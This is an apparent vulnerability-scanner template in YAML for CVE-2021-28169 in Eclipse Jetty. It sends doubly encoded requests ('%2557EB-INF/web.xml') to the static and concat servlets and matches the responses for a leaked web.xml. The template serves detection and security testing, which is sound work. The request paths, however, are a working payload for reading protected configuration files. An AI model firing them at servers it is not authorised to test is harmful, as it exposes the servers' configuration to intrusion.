id: CVE-2021-28169

info:
  name: Jetty Utility Servlets Information Disclosure
  author: pikpikcu
  severity: medium
  reference: |
    - https://twitter.com/sec715/status/1406787963569065988
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28169
  description: |
    For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.
  tags: cve,cve2021,jetty

requests:
  - method: GET
    path:
      - "{{BaseURL}}/static?/%2557EB-INF/web.xml"
      - "{{BaseURL}}/concat?/%2557EB-INF/web.xml"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "application/xml"
        part: header

      - type: word
        words:
          - "<web-app>"
          - "java.sun.com"
        part: body
        condition: and

      - type: status
        status:
          - 200